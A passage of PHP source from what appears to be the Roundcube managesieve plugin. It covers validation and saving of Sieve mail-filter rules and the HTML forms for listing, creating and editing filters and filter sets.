                            $this->errors['actions'][$i]['addresses'] = $this->plugin->gettext('noemailwarning');
                            break;
                        }
                    }

                    if (!empty($this->form['actions'][$i]['from'])) {
                        // According to RFC5230 the :from string must specify a valid [RFC2822] mailbox-list
                        $this->action_email_input($i, 'from');
                    }

                    if ($this->form['actions'][$i]['reason'] == '') {
                        $this->errors['actions'][$i]['reason'] = $this->plugin->gettext('cannotbeempty');
                    }
                    if ($this->form['actions'][$i][$interval_type] && !preg_match('/^[0-9]+$/', $this->form['actions'][$i][$interval_type])) {
                        $this->errors['actions'][$i]['interval'] = $this->plugin->gettext('forbiddenchars');
                    }
                    break;

                case 'set':
                    $this->form['actions'][$i]['name'] = $varnames[$idx];
                    $this->form['actions'][$i]['value'] = $varvalues[$idx];
                    foreach ((array)$varmods[$idx] as $v_m) {
                        $this->form['actions'][$i][$v_m] = true;
                    }

                    if (empty($varnames[$idx])) {
                        $this->errors['actions'][$i]['name'] = $this->plugin->gettext('cannotbeempty');
                    }
                    else if (!preg_match('/^[0-9a-z_]+$/i', $varnames[$idx])) {
                        $this->errors['actions'][$i]['name'] = $this->plugin->gettext('forbiddenchars');
                    }

                    if (!isset($varvalues[$idx]) || $varvalues[$idx] === '') {
                        $this->errors['actions'][$i]['value'] = $this->plugin->gettext('cannotbeempty');
                    }
                    break;

                case 'notify':
                    if (empty($notifymethods[$idx])) {
                        $this->errors['actions'][$i]['method'] = $this->plugin->gettext('cannotbeempty');
                    }
                    if (empty($notifytargets[$idx])) {
                        $this->errors['actions'][$i]['target'] = $this->plugin->gettext('cannotbeempty');
                    }

                    // skip empty options
                    foreach ((array)$notifyoptions[$idx] as $opt_idx => $opt) {
                        if (!strlen(trim($opt))) {
                            unset($notifyoptions[$idx][$opt_idx]);
                        }
                    }

                    $this->form['actions'][$i]['method']     = $notifymethods[$idx] . ':' . $notifytargets[$idx];
                    $this->form['actions'][$i]['options']    = $notifyoptions[$idx];
                    $this->form['actions'][$i]['message']    = $notifymessages[$idx];
                    $this->form['actions'][$i]['from']       = $notifyfrom[$idx];
                    $this->form['actions'][$i]['importance'] = $notifyimp[$idx];

                    if (!empty($notifyfrom[$idx]) && stripos($this->form['actions'][$i]['method'], 'mailto:') === 0) {
                        // For mailto method :from string must specify a valid [RFC2822] mailbox-list
                        $this->action_email_input($i, 'from');
                    }

                    break;
                }

                $this->form['actions'][$i]['type'] = $type;
                $i++;
            }

            if (!$this->errors && !$error) {
                // save the script
                if (!isset($this->script[$fid])) {
                    $fid = $this->sieve->script->add_rule($this->form);
                    $new = true;
                }
                else {
                    $fid = $this->sieve->script->update_rule($fid, $this->form);
                }

                if ($fid !== false) {
                    $save = $this->save_script();
                }

                if (!empty($save) && $fid !== false) {
                    $this->rc->output->show_message('managesieve.filtersaved', 'confirmation');
                    if ($this->rc->task != 'mail') {
                        $args = [
                            'name'     => $this->form['name'],
                            'id'       => $fid,
                            'disabled' => $this->form['disabled']
                        ];
                        $this->rc->output->command('parent.managesieve_updatelist', isset($new) ? 'add' : 'update', $args);
                    }
                    else {
                        $this->rc->output->command('managesieve_dialog_close');
                        $this->rc->output->send('iframe');
                    }
                }
                else {
                    $this->rc->output->show_message('managesieve.filtersaveerror', 'error');
                }
            }
            else {
                $this->rc->output->show_message('managesieve.filterformerror', 'warning');
            }
        }

        $this->send();
    }

    protected function send()
    {
        // Handle form action
        if (isset($_GET['_framed']) || isset($_POST['_framed'])) {
            if (isset($_GET['_newset']) || isset($_POST['_newset'])) {
                $this->rc->output->send('managesieve.setedit');
            }
            else if (isset($_GET['_seteditraw']) || isset($_POST['_seteditraw'])) {
                $this->rc->output->send('managesieve.seteditraw');
            }
            else {
                $this->rc->output->send('managesieve.filteredit');
            }
        }
        else {
            $this->rc->output->set_pagetitle($this->plugin->gettext('filters'));
            $this->rc->output->send('managesieve.managesieve');
        }
    }

    /**
     * Return the filters list as HTML table
     */
    function filters_list($attrib)
    {
        // add id to message list table if not specified
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmfilterslist';
        }

        // define list of cols to be displayed
        $a_show_cols = ['name'];

        $result = $this->list_rules();

        // create the table
        $out = rcmail_action::table_output($attrib, $result, $a_show_cols, 'id');

        // set client env
        $this->rc->output->add_gui_object('filterslist', $attrib['id']);
        $this->rc->output->include_script('list.js');

        // add some labels to client
        $this->rc->output->add_label('managesieve.filterdeleteconfirm');

        return $out;
    }

    /**
     * Return the filters list as <SELECT>
     */
    function filtersets_list($attrib, $no_env = false)
    {
        // add id to message list table if not specified
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmfiltersetslist';
        }

        $list = $this->list_scripts();

        if ($list) {
            asort($list, SORT_LOCALE_STRING);
        }

        if (!empty($attrib['type']) && $attrib['type'] == 'list') {
            // define list of cols to be displayed
            $a_show_cols = ['name'];
            $result      = [];
            $scripts     = [];

            if ($list) {
                foreach ($list as $idx => $set) {
                    $scripts['S' . $idx] = $set;
                    $result[] = [
                        'name'  => $set,
                        'id'    => 'S' . $idx,
                        'class' => !in_array($set, $this->active) ? 'disabled' : '',
                    ];
                }
            }

            // create XHTML table
            $out = $this->rc->table_output($attrib, $result, $a_show_cols, 'id');

            $this->rc->output->set_env('filtersets', $scripts);
            $this->rc->output->include_script('list.js');
        }
        else {
            $select = new html_select([
                    'name'     => '_set',
                    'id'       => $attrib['id'],
                    'class'    => 'custom-select',
                    'onchange' => $this->rc->task != 'mail' ? 'rcmail.managesieve_set()' : ''
            ]);

            if ($list) {
                foreach ($list as $set) {
                    $select->add($set, $set);
                }
            }

            $out = $select->show($this->sieve->current);
        }

        // set client env
        if (!$no_env) {
            $this->rc->output->add_gui_object('filtersetslist', $attrib['id']);
            $this->rc->output->add_label('managesieve.setdeleteconfirm');
        }

        return $out;
    }

    function filterset_editraw($attrib)
    {
        $script_name = rcube_utils::get_input_string('_set', rcube_utils::INPUT_GP);
        $script      = $this->sieve->get_script($script_name);
        $script_post = !empty($_POST['rawsetcontent']) ? $_POST['rawsetcontent'] : null;
        $framed      = !empty($_POST['_framed']) || !empty($_GET['_framed']);

        $hiddenfields = new html_hiddenfield();
        $hiddenfields->add(['name' => '_task',   'value' => $this->rc->task]);
        $hiddenfields->add(['name' => '_action', 'value' => 'plugin.managesieve-saveraw']);
        $hiddenfields->add(['name' => '_set',    'value' => $script_name]);
        $hiddenfields->add(['name' => '_seteditraw', 'value' => 1]);
        $hiddenfields->add(['name' => '_framed', 'value' => $framed ? 1 : 0]);

        $out = $hiddenfields->show();

        $txtarea = new html_textarea([
                'id'    => 'rawfiltersettxt',
                'name'  => 'rawsetcontent',
                'class' => 'form-control',
                'rows'  => '15'
        ]);

        $out .= $txtarea->show($script_post !== null ? $script_post : ($script !== false ? rtrim($script) : ''));

        $this->rc->output->add_gui_object('sievesetrawform', 'filtersetrawform');
        $this->plugin->include_stylesheet('codemirror/lib/codemirror.css');
        $this->plugin->include_script('codemirror/lib/codemirror.js');
        $this->plugin->include_script('codemirror/addon/selection/active-line.js');
        $this->plugin->include_script('codemirror/mode/sieve/sieve.js');

        if ($script === false) {
            $this->rc->output->show_message('managesieve.filterunknownerror', 'error');
        }

        $out = html::tag('form', $attrib + [
                'id'      => 'filtersetrawform',
                'name'    => 'filtersetrawform',
                'action'  => './',
                'method'  => 'post',
                'enctype' => 'multipart/form-data',
            ], $out
        );

        return str_replace('</form>', '', $out);
    }

    function filterset_form($attrib)
    {
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmfiltersetform';
        }

        $framed       = !empty($_POST['_framed']) || !empty($_GET['_framed']);
        $table        = new html_table(['cols' => 2, 'class' => 'propform']);
        $hiddenfields = new html_hiddenfield(['name' => '_task', 'value' => $this->rc->task]);
        $hiddenfields->add(['name' => '_action', 'value' => 'plugin.managesieve-save']);
        $hiddenfields->add(['name' => '_framed', 'value' => $framed ? 1 : 0]);
        $hiddenfields->add(['name' => '_newset', 'value' => 1]);

        $name     = rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST);
        $copy     = rcube_utils::get_input_string('_copy', rcube_utils::INPUT_POST);
        $selected = rcube_utils::get_input_string('_from', rcube_utils::INPUT_POST);

        // filter set name input
        $input_name = new html_inputfield([
                'name'  => '_name',
                'id'    => '_name',
                'size'  => 30,
                'class' => !empty($this->errors['name']) ? 'error form-control' : 'form-control'
        ]);

        $table->add('title', html::label('_name', rcube::Q($this->plugin->gettext('filtersetname'))));
        $table->add(null, $input_name->show($name));

        $filters = '<ul class="proplist">';
        $filters .= '<li>' . html::label('from_none', html::tag('input', [
                'type'    => 'radio',
                'id'      => 'from_none',
                'name'    => '_from',
                'value'   => 'none',
                'checked' => !$selected || $selected == 'none'
            ]) . rcube::Q($this->plugin->gettext('none'))) . '</li>';

        // filters set list
        $list   = $this->list_scripts();
        $select = new html_select(['name' => '_copy', 'id' => '_copy', 'class' => 'custom-select']);

        if (is_array($list)) {
            asort($list, SORT_LOCALE_STRING);

            if (!$copy && isset($_SESSION['managesieve_current'])) {
                $copy = $_SESSION['managesieve_current'];
            }

            foreach ($list as $set) {
                $select->add($set, $set);
            }

            $filters .= '<li>' . html::label('from_set', html::tag('input', [
                    'type'    => 'radio',
                    'id'      => 'from_set',
                    'name'    => '_from',
                    'value'   => 'set',
                    'checked' => $selected == 'set',
                ]) .  rcube::Q($this->plugin->gettext('fromset')) . ' ' . $select->show($copy)) . '</li>';
        }

        // script upload box
        $upload = new html_inputfield([
                'name'  => '_file',
                'id'    => '_file',
                'size'  => 30,
                'type'  => 'file',
                'class' => !empty($this->errors['file']) ? 'error form-control' : 'form-control'
        ]);

        $filters .= '<li>' . html::label('from_file', html::tag('input', [
                'type'    => 'radio',
                'id'      => 'from_file',
                'name'    => '_from',
                'value'   => 'file',
                'checked' => $selected == 'file',
            ]) . rcube::Q($this->plugin->gettext('fromfile')) . ' ' . $upload->show()) . '</li>';

        $filters .= '</ul>';

        $table->add('title', html::label('from_none', rcube::Q($this->plugin->gettext('filters'))));
        $table->add('', $filters);

        $out = '<form name="filtersetform" action="./" method="post" enctype="multipart/form-data">'
            . "\n" . $hiddenfields->show() . "\n" . $table->show();

        $this->rc->output->add_gui_object('sieveform', 'filtersetform');

        if (!empty($this->errors['name'])) {
            $this->add_tip('_name', $this->errors['name'], true);
        }
        if (!empty($this->errors['file'])) {
            $this->add_tip('_file', $this->errors['file'], true);
        }

        $this->print_tips();

        return $out;
    }

    /**
     * Filter form object for templates engine
     */
    function filter_form($attrib)
    {
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmfilterform';
        }

        $fid     = rcube_utils::get_input_string('_fid', rcube_utils::INPUT_GPC);
        $scr     = $this->form ?? (array_key_exists($fid, $this->script) ? $this->script[$fid] : null);
        $compact = !empty($attrib['compact-form']);
        $framed  = !empty($_POST['_framed']) || !empty($_GET['_framed']);

        $_SESSION['managesieve-compact-form'] = $compact;

        // do not allow creation of new filters
        if ($fid === null && in_array('new_filter', $this->disabled_actions)) {
            $this->rc->output->show_message('managesieve.disabledaction', 'error');
            return;
        }

        $hiddenfields = new html_hiddenfield(['name' => '_task', 'value' => $this->rc->task]);
        $hiddenfields->add(['name' => '_action', 'value' => 'plugin.managesieve-save']);
        $hiddenfields->add(['name' => '_framed', 'value' => $framed ? 1 : 0]);
        $hiddenfields->add(['name' => '_fid', 'value' => $fid]);

        $out = $hiddenfields->show();

        // 'any' flag
        $any = (
            (!isset($this->form) && !empty($scr) && empty($scr['tests']))
            || (!empty($scr['tests']) && count($scr['tests']) == 1
                && $scr['tests'][0]['test'] == 'true' && empty($scr['tests'][0]['not'])
            )
        );

        // filter name input
        $input_name = new html_inputfield([
                'name'  => '_name',
                'id'    => '_name',
                'size'  => 30,
                'class' => !empty($this->errors['name']) ? 'form-control error' : 'form-control'
        ]);

        if (!empty($this->errors['name'])) {
            $this->add_tip('_name', $this->errors['name'], true);
        }

        $input_name = $input_name->show(isset($scr) ? $scr['name'] : '');

        $out .= sprintf("\n" . '<div class="form-group row">'
            . '<label for="_name" class="col-sm-4 col-form-label">%s</label>'
            . '<div class="col-sm-8">%s</div></div>',
            rcube::Q($this->plugin->gettext('filtername')), $input_name
        );

        // filter set selector
        if ($this->rc->task == 'mail') {
            $out .= sprintf("\n" . '<div class="form-group row">'
                . '<label for="%s" class="col-sm-4 col-form-label">%s</label>'
                . '<div class="col-sm-8">%s</div></div>',
                'sievescriptname',
                rcube::Q($this->plugin->gettext('filterset')),
                $this->filtersets_list(['id' => 'sievescriptname'], true)
            );
        }

        $out .= sprintf("\n" . '<div class="form-group row form-check">'
            . '<label for="fenabled" class="col-sm-4 col-form-label">%s</label>'
            . '<div class="col-sm-8 form-check">'
                . '<input type="checkbox" id="fenabled" name="_enabled" value="1"' . (empty($scr['disabled']) ? ' checked' : '') . ' />'
            . '</div></div>',
            rcube::Q($this->plugin->gettext('filterenabled'))
        );

        if ($compact) {
            $select = new html_select(['name' => '_join', 'id' => '_join', 'class' => 'custom-select',
                'onchange' => 'rule_join_radio(this.value)']);

            foreach (['allof', 'anyof', 'any'] as $val) {
                $select->add($this->plugin->gettext('filter' . $val), $val);
            }

            $join = $any ? 'any' : 'allof';
            if (isset($scr) && !$any) {
                 $join = !empty($scr['join']) ? 'allof' : 'anyof';
            }

            $out .= sprintf("\n" . '<div class="form-group row">'
                . '<label for="_join" class="col-sm-4 col-form-label">%s</label>'
                . '<div class="col-sm-8">%s</div></div>',
                rcube::Q($this->plugin->gettext('scope')), $select->show($join)
            );

            $out .= '<div id="rules"'.($any ? ' style="display: none"' : '').'>';
            $out .= "\n<fieldset><legend>" . rcube::Q($this->plugin->gettext('rules')) . "</legend>\n";
        }
        else {
            $out .= '<br><fieldset><legend>' . rcube::Q($this->plugin->gettext('messagesrules')) . "</legend>\n";

            // any, allof, anyof radio buttons
            $field_id = '_allof';
            $input_join = new html_radiobutton(['name' => '_join', 'id' => $field_id, 'value' => 'allof',
                'onclick' => 'rule_join_radio(\'allof\')', 'class' => 'radio']);

            if (isset($scr) && !$any) {
                $input_join = $input_join->show($scr['join'] ? 'allof' : '');
            }
            else {
                $input_join = $input_join->show();
            }

            $out .= $input_join . html::label($field_id, rcube::Q($this->plugin->gettext('filterallof')));

            $field_id = '_anyof';
            $input_join = new html_radiobutton(['name' => '_join', 'id' => $field_id, 'value' => 'anyof',
                'onclick' => 'rule_join_radio(\'anyof\')', 'class' => 'radio']);

            if (isset($scr) && !$any) {
                $input_join = $input_join->show($scr['join'] ? '' : 'anyof');
            }
            else {
                $input_join = $input_join->show('anyof'); // default
            }

            $out .= $input_join . html::label($field_id, rcube::Q($this->plugin->gettext('filteranyof')));

            $field_id = '_any';
            $input_join = new html_radiobutton(['name' => '_join', 'id' => $field_id, 'value' => 'any',
                'onclick' => 'rule_join_radio(\'any\')', 'class' => 'radio']);

            $input_join = $input_join->show($any ? 'any' : '');

            $out .= $input_join . html::label($field_id, rcube::Q($this->plugin->gettext('filterany')));
            $out .= '<div id="rules"'.($any ? ' style="display: none"' : '').'>';
        }

        $rows_num = !empty($scr['tests']) ? count($scr['tests']) : 1;
        for ($x=0; $x<$rows_num; $x++) {
            $out .= $this->rule_div($fid, $x, true, $compact);
        }

        $out .= $compact ? "</fieldset>\n</div>\n" : "</div>\n</fieldset>\n";

        // actions
        $label = $this->plugin->gettext($compact ? 'actions' : 'messagesactions');
        $out .= '<fieldset><legend>' . rcube::Q($label) . "</legend>\n";

        $rows_num = isset($scr)  ? count($scr['actions']) : 1;

        $out .= '<div id="actions">';
        for ($x=0; $x<$rows_num; $x++) {
            $out .= $this->action_div($fid, $x);
        }
        $out .= "</div>\n";

        $out .= "</fieldset>\n";

        $this->print_tips();

        $this->rc->output->add_label(
            'managesieve.ruledeleteconfirm',
            'managesieve.actiondeleteconfirm'
        );
        $this->rc->output->set_env('rule_disabled', !empty($scr['disabled']));
        $this->rc->output->add_gui_object('sieveform', 'filterform');

        $attrib['name']   = 'filterform';
        $attrib['action'] = './';
        $attrib['method'] = 'post';

        $out = html::tag('form', $attrib, $out, ['name', 'action', 'method', 'class']);

        if (!$compact) {
            $out = str_replace('</form>', '', $out);
        }

        return $out;
    }

    function rule_div($fid, $id, $div = true, $compact = false)
    {
        if (isset($id) && isset($this->form)) {
            $rule = $this->form['tests'][$id];
        }
        else if (isset($id) && isset($this->script[$fid]['tests'][$id])) {
            $rule = $this->script[$fid]['tests'][$id];
        }
        else {
            $rule = ['test' => null];
        }

        if (isset($this->form['tests'])) {
            $rows_num = count($this->form['tests']);
        }
        else if (isset($this->script[$fid]['tests'])) {
            $rows_num = count($this->script[$fid]['tests']);
        }
        else {
            $rows_num = 0;
        }

        // headers select
        $select_header = new html_select(['name' => "_header[$id]", 'id' => 'header'.$id,
            'onchange' => 'rule_header_select(' .$id .')', 'class' => 'custom-select']);

        foreach ($this->headers as $index => $header) {
            $header = $this->rc->text_exists($index) ? $this->plugin->gettext($index) : $header;
            $select_header->add($header, $index);
        }
        $select_header->add($this->plugin->gettext('...'), '...');
        if (in_array('body', $this->exts)) {
            $select_header->add($this->plugin->gettext('body'), 'body');
        }
        $select_header->add($this->plugin->gettext('size'), 'size');
        if (in_array('spamtest', $this->exts)) {
            $select_header->add($this->plugin->gettext('spamtest'), 'spamtest');
        }
        if (in_array('date', $this->exts)) {
            $select_header->add($this->plugin->gettext('datetest'), 'date');
            $select_header->add($this->plugin->gettext('currdate'), 'currentdate');
        }
        if (in_array('variables', $this->exts)) {
            $select_header->add($this->plugin->gettext('string'), 'string');
        }
        if (in_array('duplicate', $this->exts)) {
            $select_header->add($this->plugin->gettext('message'), 'message');
        }

        $test = null;

        if (isset($rule['test'])) {
            if (in_array($rule['test'], ['header', 'address', 'envelope'])) {
                if (is_array($rule['arg1']) && count($rule['arg1']) == 1) {
                    $rule['arg1'] = $rule['arg1'][0];
                }

                $header  = !is_array($rule['arg1']) ? strtolower($rule['arg1']) : null;
                $matches = !is_array($rule['arg1']) && $header && isset($this->headers[$header]);
                $test    = $matches ? $header : '...';
            }
            else if ($rule['test'] == 'exists') {
                if (is_array($rule['arg']) && count($rule['arg']) == 1) {
                    $rule['arg'] = $rule['arg'][0];
                }

                $header  = !is_array($rule['arg']) ? strtolower($rule['arg']) : null;
                $matches = !is_array($rule['arg']) && $header && isset($this->headers[$header]);
                $test    = $matches ? $header : '...';
            }
            else if (in_array($rule['test'], ['size', 'spamtest', 'body', 'date', 'currentdate', 'string'])) {
                $test = $rule['test'];
            }
            else if (in_array($rule['test'], ['duplicate'])) {
                $test = 'message';
            }
            else if ($rule['test'] != 'true') {
                $test = '...';
            }
        }

        $tout = '<div class="flexbox">';
        $aout = $select_header->show($test);

        $custom  = null;
        $customv = null;

        // custom headers input
        if (isset($rule['test']) && in_array($rule['test'], ['header', 'address', 'envelope'])) {
            $custom = (array) $rule['arg1'];
            if (count($custom) == 1 && isset($this->headers[strtolower($custom[0])])) {
                $custom = null;
            }
        }
        else if (isset($rule['test']) && $rule['test'] == 'string') {
            $customv = (array) $rule['arg1'];
            if (count($customv) == 1 && isset($this->headers[strtolower($customv[0])])) {
                $customv = null;
            }
        }
        else if (isset($rule['test']) && $rule['test'] == 'exists') {
            $custom = (array) $rule['arg'];
            if (count($custom) == 1 && isset($this->headers[strtolower($custom[0])])) {
                $custom = null;
            }
        }

        // custom header and variable inputs
        $aout .= $this->list_input($id, 'custom_header', $custom, 15, false, [
                'disabled'    => !isset($custom),
                'class'       => $this->error_class($id, 'test', 'header', 'custom_header'),
                'placeholder' => $this->plugin->gettext('headername'),
                'title'       => $this->plugin->gettext('headername'),
            ]) . "\n";

        $aout .= $this->list_input($id, 'custom_var', $customv, 15, false, [
                'disabled' => !isset($customv),
                'class'    => $this->error_class($id, 'test', 'header', 'custom_var')
            ]) . "\n";

        $test       = self::rule_test($rule);
        $target     = '';
        $sizetarget = null;
        $sizeitem   = null;

        // target(s) input
        if (in_array($rule['test'], ['header', 'address', 'envelope', 'string'])) {
            $target = $rule['arg2'];
        }
        else if (in_array($rule['test'], ['body', 'date', 'currentdate', 'spamtest'])) {
            $target = $rule['arg'];
        }
        else if ($rule['test'] == 'size') {
            if (preg_match('/^([0-9]+)(K|M|G)?$/', $rule['arg'], $matches)) {
                $sizetarget = $matches[1];
                $sizeitem   = $matches[2];
            }
            else {
                $sizetarget = $rule['arg'];
                $sizeitem   = $rule['item'];
            }
        }

        // (current)date part select
        if (in_array('date', $this->exts) || in_array('currentdate', $this->exts)) {
            $date_parts = ['date', 'iso8601', 'std11', 'julian', 'time',
                'year', 'month', 'day', 'hour', 'minute', 'second', 'weekday', 'zone'];
            $select_dp = new html_select([
                    'name'  => "_rule_date_part[$id]",
                    'id'    => 'rule_date_part'.$id,
                    'style' => in_array($rule['test'], ['currentdate', 'date']) && !preg_match('/^(notcount|count)-/', $test) ? '' : 'display:none',
                    'class' => 'datepart_selector custom-select',
            ]);

            foreach ($date_parts as $part) {
                $select_dp->add(rcube::Q($this->plugin->gettext($part)), $part);
            }

            $aout .= $select_dp->show($rule['test'] == 'currentdate' || $rule['test'] == 'date' ? $rule['part'] : '');
        }

        // message test select (e.g. duplicate)
        if (in_array('duplicate', $this->exts)) {
            $select_msg = new html_select([
                    'name'  => "_rule_message[$id]",
                    'id'    => 'rule_message'.$id,
                    'style' => in_array($rule['test'], ['duplicate']) ? '' : 'display:none',
                    'class' => 'message_selector custom-select',
            ]);

            $select_msg->add(rcube::Q($this->plugin->gettext('duplicate')), 'duplicate');
            $select_msg->add(rcube::Q($this->plugin->gettext('notduplicate')), 'notduplicate');

            $tout .= $select_msg->show($test);
        }

        $tout .= $this->match_type_selector('rule_op', $id, $test, $rule['test']);
        $tout .= $this->list_input($id, 'rule_target', $target, null, false, [
                'disabled' => in_array($rule['test'], ['size', 'exists', 'duplicate', 'spamtest']),
                'class'    => $this->error_class($id, 'test', 'target', 'rule_target')
            ]) . "\n";

        $select_size_op = new html_select([
                'name'  => "_rule_size_op[$id]",
                'id'    => 'rule_size_op'.$id,
                'class' => 'input-group-prepend custom-select'
        ]);
        $select_size_op->add(rcube::Q($this->plugin->gettext('filterover')), 'over');
        $select_size_op->add(rcube::Q($this->plugin->gettext('filterunder')), 'under');

        $select_size_item = new html_select([
                'name'  => "_rule_size_item[$id]",
                'id'    => 'rule_size_item'.$id,
                'class' => 'input-group-append custom-select'
        ]);
        foreach (['', 'K', 'M', 'G'] as $unit) {
            $select_size_item->add($this->plugin->gettext($unit . 'B'), $unit);
        }

        $tout .= '<div id="rule_size' .$id. '" class="input-group" style="display:' . ($rule['test']=='size' ? 'inline' : 'none') .'">';
        $tout .= $select_size_op->show($rule['test']=='size' ? $rule['type'] : '');
        $tout .= html::tag('input', [
                'type'  => 'text',
                'name'  => "_rule_size_target[$id]",
                'id'    => 'rule_size_i'.$id,
                'value' => $sizetarget,
                'size'  => 10,
                'class' => $this->error_class($id, 'test', 'sizetarget', 'rule_size_i'),
        ]);
        $tout .= "\n" . $select_size_item->show($sizeitem);
        $tout .= '</div>';
        $tout .= '</div>';

        if (in_array('relational', $this->exts)) {
            $select_spamtest_op = new html_select([
                    'name'     => "_rule_spamtest_op[$id]",
                    'id'       => 'rule_spamtest_op' . $id,
                    'class'    => 'input-group-prepend custom-select',
                    'onchange' => 'rule_spamtest_select(' . $id .')'
            ]);
            $select_spamtest_op->add(rcube::Q($this->plugin->gettext('spamtestisunknown')), '');
            $select_spamtest_op->add(rcube::Q($this->plugin->gettext('spamtestisgreaterthan')), 'value-gt');
            $select_spamtest_op->add(rcube::Q($this->plugin->gettext('spamtestisgreaterthanequal')), 'value-ge');
            $select_spamtest_op->add(rcube::Q($this->plugin->gettext('spamtestislessthan')), 'value-lt');
            $select_spamtest_op->add(rcube::Q($this->plugin->gettext('spamtestislessthanequal')), 'value-le');
            $select_spamtest_op->add(rcube::Q($this->plugin->gettext('spamtestequals')), 'value-eq');
            $select_spamtest_op->add(rcube::Q($this->plugin->gettext('spamtestnotequals')), 'value-ne');

            $select_spamtest_target = new html_select([
                    'name'  => "_rule_spamtest_target[$id]",
                    'id'    => 'rule_spamtest_target' . $id,
                    'class' => 'input-group-append custom-select'
            ]);
            $select_spamtest_target->add(rcube::Q("0%"), '1');
            $select_spamtest_target->add(rcube::Q("20%"), '2');
            $select_spamtest_target->add(rcube::Q("30%"), '3');
            $select_spamtest_target->add(rcube::Q("40%"), '4');
            $select_spamtest_target->add(rcube::Q("50%"), '5');
            $select_spamtest_target->add(rcube::Q("60%"), '6');
            $select_spamtest_target->add(rcube::Q("70%"), '7');
            $select_spamtest_target->add(rcube::Q("80%"), '8');
            $select_spamtest_target->add(rcube::Q("90%"), '9');
            $select_spamtest_target->add(rcube::Q("100%"), '10');

            $tout .= '<div id="rule_spamtest' . $id . '" class="input-group" style="display:' . ($rule['test'] == 'spamtest' ? 'inline' : 'none') .'">';
            $tout .= $select_spamtest_op->show($rule['test'] == 'spamtest' && $target > 0 ? $rule['type'] : '');
            $tout .= $select_spamtest_target->show($rule['test'] == 'spamtest' ? $target : '');

            $tout .= '</div>';
        }
        // Advanced modifiers (address, envelope)
        $select_mod = new html_select([
                'name'     => "_rule_mod[$id]",
                'id'       => 'rule_mod_op' . $id,
                'class'    => 'custom-select',
                'onchange' => 'rule_mod_select(' .$id .')'
        ]);
        $select_mod->add(rcube::Q($this->plugin->gettext('none')), '');
        $select_mod->add(rcube::Q($this->plugin->gettext('address')), 'address');
        if (in_array('envelope', $this->exts)) {
            $select_mod->add(rcube::Q($this->plugin->gettext('envelope')), 'envelope');
        }

        $select_type = new html_select([
                'name'  => "_rule_mod_type[$id]",
                'id'    => 'rule_mod_type' . $id,
                'class' => 'custom-select',
        ]);
        $select_type->add(rcube::Q($this->plugin->gettext('allparts')), 'all');
        $select_type->add(rcube::Q($this->plugin->gettext('domain')), 'domain');
        $select_type->add(rcube::Q($this->plugin->gettext('localpart')), 'localpart');
        if (in_array('subaddress', $this->exts)) {
            $select_type->add(rcube::Q($this->plugin->gettext('user')), 'user');
            $select_type->add(rcube::Q($this->plugin->gettext('detail')), 'detail');
        }

        $need_mod = !in_array($rule['test'], ['size', 'spamtest', 'body', 'date', 'currentdate', 'duplicate', 'string']);
        $mout = '<div id="rule_mod' .$id. '" class="adv input-group"' . (!$need_mod ? ' style="display:none"' : '') . '>';
        $mout .= html::span('label input-group-prepend', html::span('input-group-text', rcube::Q($this->plugin->gettext('modifier'))));
        $mout .= $select_mod->show($rule['test']);
        $mout .= '</div>';
        $mout .= '<div id="rule_mod_type' . $id . '" class="adv input-group"';
        $mout .= (!in_array($rule['test'], ['address', 'envelope']) ? ' style="display:none"' : '') . '>';
        $mout .= html::span('label input-group-prepend', html::span('input-group-text', rcube::Q($this->plugin->gettext('modtype'))));
        $mout .= $select_type->show($rule['part'] ?? null);
        $mout .= '</div>';

        // Advanced modifiers (comparators)
        $need_comp = $rule['test'] != 'size' && $rule['test'] != 'spamtest' && $rule['test'] != 'duplicate';
        $mout .= '<div id="rule_comp' .$id. '" class="adv input-group"' . (!$need_comp ? ' style="display:none"' : '') . '>';
        $mout .= html::span('label input-group-prepend', html::span('input-group-text', rcube::Q($this->plugin->gettext('comparator'))));
        $mout .= $this->comparator_selector($rule['comparator'] ?? null, 'rule_comp', $id);
        $mout .= '</div>';

        // Advanced modifiers (mime)
        if (in_array('mime', $this->exts)) {
            $need_mime   = !$rule || in_array($rule['test'], ['header', 'address', 'exists']);
            $mime_type   = '';
            $select_mime = new html_select([
                    'name'  => "_rule_mime_type[$id]",
                    'id'    => 'rule_mime_type' . $id,
                    'style' => 'min-width:8em', 'onchange' => 'rule_mime_select(' . $id . ')',
                    'class' => 'custom-select',
            ]);
            $select_mime->add('-', '');

            foreach (['contenttype', 'type', 'subtype', 'param'] as $val) {
                if (isset($rule['mime-' . $val])) {
                    $mime_type = $val;
                }

                $select_mime->add(rcube::Q($this->plugin->gettext('mime-' . $val)), $val);
            }

            $select_mime_part = new html_select([
                    'name'  => "_rule_mime_part[$id]",
                    'id'    => 'rule_mime_part' . $id,
                    'class' => 'custom-select',
            ]);
            $select_mime_part->add(rcube::Q($this->plugin->gettext('mime-message')), '');
            $select_mime_part->add(rcube::Q($this->plugin->gettext('mime-anychild')), 'anychild');

            $mout .= '<div id="rule_mime_part' .$id. '" class="adv input-group"' . (!$need_mime ? ' style="display:none"' : '') . '>';
            $mout .= html::span('label input-group-prepend', html::span('input-group-text', rcube::Q($this->plugin->gettext('mimepart'))));
            $mout .= $select_mime_part->show(!empty($rule['mime-anychild']) ? 'anychild' : '');
            $mout .= '</div>';
            $mout .= '<div id="rule_mime' .$id. '" class="adv input-group"' . (!$need_mime ? ' style="display:none"' : '') . '>';
            $mout .= html::span('label input-group-prepend', html::span('input-group-text', rcube::Q($this->plugin->gettext('mime'))));
            $mout .= $select_mime->show($mime_type);
            $mout .= $this->list_input($id, 'rule_mime_param', $rule['mime-param'] ?? null,
                30, $mime_type != 'param', ['class' => $this->error_class($id, 'test', 'mime_param', 'rule_mime_param')]
            );
            $mout .= '</div>';
        }

        // Advanced modifiers (body transformations)
        $select_mod = new html_select([
                'name'     => "_rule_trans[$id]",
                'id'       => 'rule_trans_op' . $id,
                'class'    => 'custom-select',
                'onchange' => 'rule_trans_select(' .$id .')'
        ]);
        $select_mod->add(rcube::Q($this->plugin->gettext('text')), 'text');
        $select_mod->add(rcube::Q($this->plugin->gettext('undecoded')), 'raw');
        $select_mod->add(rcube::Q($this->plugin->gettext('contenttype')), 'content');

        $rule_content = '';
        if (isset($rule['content'])) {
            $rule_content = is_array($rule['content']) ? implode(',', $rule['content']) : $rule['content'];
        }

        $mout .= '<div id="rule_trans' .$id. '" class="adv input-group"' . ($rule['test'] != 'body' ? ' style="display:none"' : '') . '>';
